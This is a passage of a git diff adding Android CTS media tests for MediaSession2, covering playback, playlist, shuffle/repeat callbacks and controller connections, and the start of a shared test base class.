+ assertSame(currentItem, itemOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyMediaPrepared(currentItem.getDataSourceDesc());
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testBufferingStateChanged() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+ final int buffState = MediaPlayerBase.BUFFERING_STATE_BUFFERING_COMPLETE;
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testBufferingStateChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onBufferingStateChanged(MediaSession2 session,
+ MediaPlayerBase player, MediaItem2 itemOut, int stateOut) {
+ assertSame(currentItem, itemOut);
+ assertEquals(buffState, stateOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyBufferingStateChanged(currentItem.getDataSourceDesc(), buffState);
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testUpdatePlayer() throws Exception {
+ final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final CountDownLatch latch = new CountDownLatch(1);
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaSession2 session,
+ MediaPlayerBase player, int state) {
+ assertEquals(targetState, state);
+ latch.countDown();
+ }
+ }).build();
+ });
+
+ MockPlayer player = new MockPlayer(0);
+
+ // Test if setPlayer doesn't crash with various situations.
+ mSession.updatePlayer(mPlayer, null, null);
+ assertEquals(mPlayer, mSession.getPlayer());
+ MediaPlaylistAgent agent = mSession.getPlaylistAgent();
+ assertNotNull(agent);
+
+ mSession.updatePlayer(player, null, null);
+ assertEquals(player, mSession.getPlayer());
+ assertNotNull(mSession.getPlaylistAgent());
+ assertNotEquals(agent, mSession.getPlaylistAgent());
+
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSetPlayer_playbackInfo() throws Exception {
+ MockPlayer player = new MockPlayer(0);
+ AudioAttributes attrs = new AudioAttributes.Builder()
+ .setContentType(CONTENT_TYPE_MUSIC)
+ .build();
+ player.setAudioAttributes(attrs);
+
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ VolumeProvider2 volumeProvider =
+ new VolumeProvider2(volumeControlType, maxVolume, currentVolume) { };
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ PlaybackInfo info) {
+ Assert.assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ assertEquals(volumeControlType, info.getPlaybackType());
+ assertEquals(maxVolume, info.getMaxVolume());
+ assertEquals(currentVolume, info.getCurrentVolume());
+ latch.countDown();
+ }
+ };
+
+ mSession.updatePlayer(player, null, null);
+
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ PlaybackInfo info = controller.getPlaybackInfo();
+ assertNotNull(info);
+ assertEquals(PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ AudioManager manager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ int localVolumeControlType = manager.isVolumeFixed()
+ ? VolumeProvider2.VOLUME_CONTROL_FIXED : VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ assertEquals(localVolumeControlType, info.getControlType());
+ assertEquals(manager.getStreamMaxVolume(AudioManager.STREAM_MUSIC), info.getMaxVolume());
+ assertEquals(manager.getStreamVolume(AudioManager.STREAM_MUSIC), info.getCurrentVolume());
+
+ mSession.updatePlayer(player, null, volumeProvider);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+ info = controller.getPlaybackInfo();
+ assertNotNull(info);
+ assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+ assertEquals(attrs, info.getAudioAttributes());
+ assertEquals(volumeControlType, info.getControlType());
+ assertEquals(maxVolume, info.getMaxVolume());
+ assertEquals(currentVolume, info.getCurrentVolume());
+ }
+
+ @Test
+ public void testPlay() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.play();
+ assertTrue(mPlayer.mPlayCalled);
+ });
+ }
+
+ @Test
+ public void testPause() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.pause();
+ assertTrue(mPlayer.mPauseCalled);
+ });
+ }
+
+ @Ignore
+ @Test
+ public void testStop() throws Exception {
+ sHandler.postAndSync(() -> {
+ mSession.stop();
+ assertTrue(mPlayer.mStopCalled);
+ });
+ }
+
+ @Test
+ public void testSkipToPreviousItem() {
+ mSession.skipToPreviousItem();
+ assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+ }
+
+ @Test
+ public void testSkipToNextItem() throws Exception {
+ mSession.skipToNextItem();
+ assertTrue(mMockAgent.mSkipToNextItemCalled);
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws Exception {
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.skipToPlaylistItem(testMediaItem);
+ assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testGetPlayerState() {
+ final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ mPlayer.mLastPlayerState = state;
+ assertEquals(state, mSession.getPlayerState());
+ }
+
+ @Test
+ public void testGetPosition() {
+ final long position = 150000;
+ mPlayer.mCurrentPosition = position;
+ assertEquals(position, mSession.getCurrentPosition());
+ }
+
+ @Test
+ public void testGetBufferedPosition() {
+ final long bufferedPosition = 900000;
+ mPlayer.mBufferedPosition = bufferedPosition;
+ assertEquals(bufferedPosition, mSession.getBufferedPosition());
+ }
+
+ @Test
+ public void testSetPlaylist() {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mSession.setPlaylist(list, null);
+ assertTrue(mMockAgent.mSetPlaylistCalled);
+ assertSame(list, mMockAgent.mPlaylist);
+ assertNull(mMockAgent.mMetadata);
+ }
+
+ @Test
+ public void testGetPlaylist() {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mMockAgent.mPlaylist = list;
+ assertEquals(list, mSession.getPlaylist());
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mSession.updatePlaylistMetadata(testMetadata);
+ assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+ assertSame(testMetadata, mMockAgent.mMetadata);
+ }
+
+ @Test
+ public void testGetPlaylistMetadata() {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mMockAgent.mMetadata = testMetadata;
+ assertEquals(testMetadata, mSession.getPlaylistMetadata());
+ }
+
+ @Test
+ public void testSessionCallback_onPlaylistChanged() throws InterruptedException {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onPlaylistChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+ List<MediaItem2> playlist, MediaMetadata2 metadata) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(list, playlist);
+ assertNull(metadata);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testSessionCallback")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testAddPlaylistItem() {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.addPlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mAddPlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testRemovePlaylistItem() {
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.removePlaylistItem(testMediaItem);
+ assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mSession.replacePlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ assertSame(testMediaItem, mMockAgent.mItem);
+ }
+
+ /**
+ * This also tests {@link SessionCallback#onShuffleModeChanged(
+ * MediaSession2, MediaPlaylistAgent, int)}
+ */
+ @Test
+ public void testGetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getShuffleMode() {
+ return testShuffleMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onShuffleModeChanged(MediaSession2 session,
+ MediaPlaylistAgent playlistAgent, int shuffleMode) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(testShuffleMode, shuffleMode);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testGetShuffleMode")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyShuffleModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetShuffleMode() {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ mSession.setShuffleMode(testShuffleMode);
+ assertTrue(mMockAgent.mSetShuffleModeCalled);
+ assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+ }
+
+ /**
+ * This also tests {@link SessionCallback#onShuffleModeChanged(
+ * MediaSession2, MediaPlaylistAgent, int)}
+ */
+ @Test
+ public void testGetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getRepeatMode() {
+ return testRepeatMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public void onRepeatModeChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+ int repeatMode) {
+ assertEquals(agent, playlistAgent);
+ assertEquals(testRepeatMode, repeatMode);
+ latch.countDown();
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testGetRepeatMode")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ agent.notifyRepeatModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetRepeatMode() {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ mSession.setRepeatMode(testRepeatMode);
+ assertTrue(mMockAgent.mSetRepeatModeCalled);
+ assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+ }
+
+ // TODO (jaewan): Revisit
+ @Test
+ public void testBadPlayer() throws InterruptedException {
+ // TODO(jaewan): Add equivalent tests again
+ final CountDownLatch latch = new CountDownLatch(4); // expected call + 1
+ final BadPlayer player = new BadPlayer(0);
+
+ mSession.updatePlayer(player, null, null);
+ mSession.updatePlayer(mPlayer, null, null);
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PAUSED);
+ assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ // This bad player will keep push events to the listener that is previously
+ // registered by session.setPlayer().
+ private static class BadPlayer extends MockPlayer {
+ public BadPlayer(int count) {
+ super(count);
+ }
+
+ @Override
+ public void unregisterPlayerEventCallback(
+ @NonNull MediaPlayerBase.PlayerEventCallback listener) {
+ // No-op.
+ }
+ }
+
+ @Test
+ public void testOnCommandCallback() throws InterruptedException {
+ final MockOnCommandCallback callback = new MockOnCommandCallback();
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mPlayer = new MockPlayer(1);
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback).build();
+ });
+ MediaController2 controller = createController(mSession.getToken());
+ controller.pause();
+ assertFalse(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mPlayer.mPauseCalled);
+ assertEquals(1, callback.commands.size());
+ assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE,
+ (long) callback.commands.get(0).getCommandCode());
+
+ controller.play();
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mPlayer.mPlayCalled);
+ assertFalse(mPlayer.mPauseCalled);
+ assertEquals(2, callback.commands.size());
+ assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY,
+ (long) callback.commands.get(1).getCommandCode());
+ }
+
+ @Test
+ public void testOnConnectCallback() throws InterruptedException {
+ final MockOnConnectCallback sessionCallback = new MockOnConnectCallback();
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+ });
+ MediaController2 controller = createController(mSession.getToken(), false, null);
+ assertNotNull(controller);
+ waitForConnect(controller, false);
+ waitForDisconnect(controller, true);
+ }
+
+ @Test
+ public void testOnDisconnectCallback() throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testOnDisconnectCallback")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onDisconnected(MediaSession2 session,
+ ControllerInfo controller) {
+ assertEquals(Process.myUid(), controller.getUid());
+ latch.countDown();
+ }
+ }).build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.close();
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetCustomLayout() throws InterruptedException {
+ final List<CommandButton> buttons = new ArrayList<>();
+ buttons.add(new CommandButton.Builder()
+ .setCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY))
+ .setDisplayName("button").build());
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (mContext.getPackageName().equals(controller.getPackageName())) {
+ mSession.setCustomLayout(controller, buttons);
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testSetCustomLayout")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .build()) {
+ if (mSession != null) {
+ mSession.close();
+ mSession = session;
+ }
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller2,
+ List<CommandButton> layout) {
+ assertEquals(layout.size(), buttons.size());
+ for (int i = 0; i < layout.size(); i++) {
+ assertEquals(layout.get(i).getCommand(), buttons.get(i).getCommand());
+ assertEquals(layout.get(i).getDisplayName(),
+ buttons.get(i).getDisplayName());
+ }
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller =
+ createController(session.getToken(), true, callback);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetAllowedCommands() throws InterruptedException {
+ final SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY));
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE));
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_STOP));
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commandsOut) {
+ assertNotNull(commandsOut);
+ Set<SessionCommand2> expected = commands.getCommands();
+ Set<SessionCommand2> actual = commandsOut.getCommands();
+
+ assertNotNull(actual);
+ assertEquals(expected.size(), actual.size());
+ for (SessionCommand2 command : expected) {
+ assertTrue(actual.contains(command));
+ }
+ latch.countDown();
+ }
+ };
+
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ ControllerInfo controllerInfo = getTestControllerInfo();
+ assertNotNull(controllerInfo);
+
+ mSession.setAllowedCommands(controllerInfo, commands);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSendCustomAction() throws InterruptedException {
+ final SessionCommand2 testCommand = new SessionCommand2(
+ SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+ final Bundle testArgs = new Bundle();
+ testArgs.putString("args", "testSendCustomAction");
+
+ final CountDownLatch latch = new CountDownLatch(2);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ assertEquals(testCommand, command);
+ assertTrue(TestUtils.equals(testArgs, args));
+ assertNull(receiver);
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller =
+ createController(mSession.getToken(), true, callback);
+ // TODO(jaewan): Test with multiple controllers
+ mSession.sendCustomCommand(testCommand, testArgs);
+
+ ControllerInfo controllerInfo = getTestControllerInfo();
+ assertNotNull(controllerInfo);
+ // TODO(jaewan): Test receivers as well.
+ mSession.sendCustomCommand(controllerInfo, testCommand, testArgs, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testNotifyError() throws InterruptedException {
+ final int errorCode = MediaSession2.ERROR_CODE_NOT_AVAILABLE_IN_REGION;
+ final Bundle extras = new Bundle();
+ extras.putString("args", "testNotifyError");
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onError(MediaController2 controller, int errorCodeOut, Bundle extrasOut) {
+ assertEquals(errorCode, errorCodeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ // TODO(jaewan): Test with multiple controllers
+ mSession.notifyError(errorCode, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ private ControllerInfo getTestControllerInfo() {
+ List<ControllerInfo> controllers = mSession.getConnectedControllers();
+ assertNotNull(controllers);
+ for (int i = 0; i < controllers.size(); i++) {
+ if (Process.myUid() == controllers.get(i).getUid()) {
+ return controllers.get(i);
+ }
+ }
+ fail("Failed to get test controller info");
+ return null;
+ }
+
+ public class MockOnConnectCallback extends SessionCallback {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controllerInfo) {
+ if (Process.myUid() != controllerInfo.getUid()) {
+ return null;
+ }
+ assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+ assertEquals(Process.myUid(), controllerInfo.getUid());
+ assertFalse(controllerInfo.isTrusted());
+ // Reject all
+ return null;
+ }
+ }
+
+ public class MockOnCommandCallback extends SessionCallback {
+ public final ArrayList<SessionCommand2> commands = new ArrayList<>();
+
+ @Override
+ public boolean onCommandRequest(MediaSession2 session, ControllerInfo controllerInfo,
+ SessionCommand2 command) {
+ assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+ assertEquals(Process.myUid(), controllerInfo.getUid());
+ assertFalse(controllerInfo.isTrusted());
+ commands.add(command);
+ if (command.getCommandCode() == SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE) {
+ return false;
+ }
+ return true;
+ }
+ }
+
+ private static void assertMediaItemListEquals(List<MediaItem2> a, List<MediaItem2> b) {
+ if (a == null || b == null) {
+ assertEquals(a, b);
+ }
+ assertEquals(a.size(), b.size());
+
+ for (int i = 0; i < a.size(); i++) {
+ MediaItem2 aItem = a.get(i);
+ MediaItem2 bItem = b.get(i);
+
+ if (aItem == null || bItem == null) {
+ assertEquals(aItem, bItem);
+ continue;
+ }
+
+ assertEquals(aItem.getMediaId(), bItem.getMediaId());
+ assertEquals(aItem.getFlags(), bItem.getFlags());
+ TestUtils.equals(aItem.getMetadata().toBundle(), bItem.getMetadata().toBundle());
+
+ // Note: Here it does not check whether DataSourceDesc are equal,
+ // since there DataSourceDec is not comparable.
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
new file mode 100644
index 0000000..047f2cd
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -0,0 +1,294 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.HandlerThread;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for session test.
+ */
+abstract class MediaSession2TestBase {
+ // Expected success
+ static final int WAIT_TIME_MS = 1000;
+
+ // Expected timeout
+ static final int TIMEOUT_MS = 500;
+
+ static TestUtils.SyncHandler sHandler;
+ static Executor sHandlerExecutor;
+
+ Context mContext;
+ private List<MediaController2> mControllers = new ArrayList<>();
+
+ interface TestControllerInterface {
+ ControllerCallback getCallback();
+ }
+
+ interface WaitForConnectionInterface {
+ void waitForConnect(boolean expect) throws InterruptedException;
+ void waitForDisconnect(boolean expect) throws InterruptedException;
+ }
+
+ @BeforeClass
+ public static void setUpThread() {
+ if (sHandler == null) {
+ HandlerThread handlerThread = new HandlerThread("MediaSession2TestBase");
+ handlerThread.start();
+ sHandler = new TestUtils.SyncHandler(handlerThread.getLooper());
+ sHandlerExecutor = (runnable) -> {
+ sHandler.post(runnable);
+ };
+ }
+ }
+
+ @AfterClass
+ public static void cleanUpThread() {
+ if (sHandler != null) {
+ sHandler.getLooper().quitSafely();
+ sHandler = null;
+ sHandlerExecutor = null;
+ }
+ }
+
+ @CallSuper
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @CallSuper
+ public void cleanUp() throws Exception {
+ for (int i = 0; i < mControllers.size(); i++) {
+ mControllers.get(i).close();
+ }
+ }
+
+ final MediaController2 createController(SessionToken2 token) throws InterruptedException {
+ return createController(token, true, null);
+ }
+
+ final MediaController2 createController(@NonNull SessionToken2 token,
+ boolean waitForConnect, @Nullable ControllerCallback callback)
+ throws InterruptedException {
+ TestControllerInterface instance = onCreateController(token, callback);
+ if (!(instance instanceof MediaController2)) {
+ throw new RuntimeException("Test has a bug. Expected MediaController2 but returned "
+ + instance);
+ }
+ MediaController2 controller = (MediaController2) instance;
+ mControllers.add(controller);
+ if (waitForConnect) {
+ waitForConnect(controller, true);
+ }
+ return controller;
+ }
+
+ private static WaitForConnectionInterface getWaitForConnectionInterface(
+ MediaController2 controller) {
+ if (!(controller instanceof TestControllerInterface)) {
+ throw new RuntimeException("Test has a bug. Expected controller implemented"
+ + " TestControllerInterface but got " + controller);
+ }
+ ControllerCallback callback = ((TestControllerInterface) controller).getCallback();
+ if (!(callback instanceof WaitForConnectionInterface)) {
+ throw new RuntimeException("Test has a bug. Expected controller with callback "
+ + " implemented WaitForConnectionInterface but got " + controller);
+ }
+ return (WaitForConnectionInterface) callback;
+ }
+
+ public static void waitForConnect(MediaController2 controller, boolean expected)
+ throws InterruptedException {
+ getWaitForConnectionInterface(controller).waitForConnect(expected);
+ }
+
+ public static void waitForDisconnect(MediaController2 controller, boolean expected)
+ throws InterruptedException {
+ getWaitForConnectionInterface(controller).waitForDisconnect(expected);
+ }
+
+ TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+ @Nullable ControllerCallback callback) {
+ if (callback == null) {
+ callback = new ControllerCallback() {};
+ }
+ return new TestMediaController(mContext, token, new TestControllerCallback(callback));
+ }
+
+ // TODO(jaewan): (Can be Post-P): Deprecate this
+ public static class TestControllerCallback extends MediaController2.ControllerCallback
+ implements WaitForConnectionInterface {
+ public final ControllerCallback mCallbackProxy;
+ public final CountDownLatch connectLatch = new CountDownLatch(1);
+ public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+ TestControllerCallback(@NonNull ControllerCallback callbackProxy) {
+ if (callbackProxy == null) {
+ throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+ }
+ mCallbackProxy = callbackProxy;
+ }
+
+ @CallSuper
+ @Override
+ public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+ connectLatch.countDown();
+ }
+
+ @CallSuper
+ @Override
+ public void onDisconnected(MediaController2 controller) {
+ disconnectLatch.countDown();
+ }
+
+ @Override
+ public void waitForConnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void waitForDisconnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+ }
+
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ MediaController2.PlaybackInfo info) {
+ mCallbackProxy.onPlaybackInfoChanged(controller, info);
+ }
+
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+ mCallbackProxy.onCustomLayoutChanged(controller, layout);
+ }
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+ }
+
+ @Override
+ public void onPlayerStateChanged(MediaController2 controller, int state) {
+ mCallbackProxy.onPlayerStateChanged(controller, state);
+ }
+
+ @Override
+ public void onSeekCompleted(MediaController2 controller, long position) {
+ mCallbackProxy.onSeekCompleted(controller, position);
+ }
+
+ @Override
+ public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+ mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+ }
+
+ @Override
+ public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+ int state) {
+ mCallbackProxy.onBufferingStateChanged(controller, item, state);
+ }
+
+ @Override
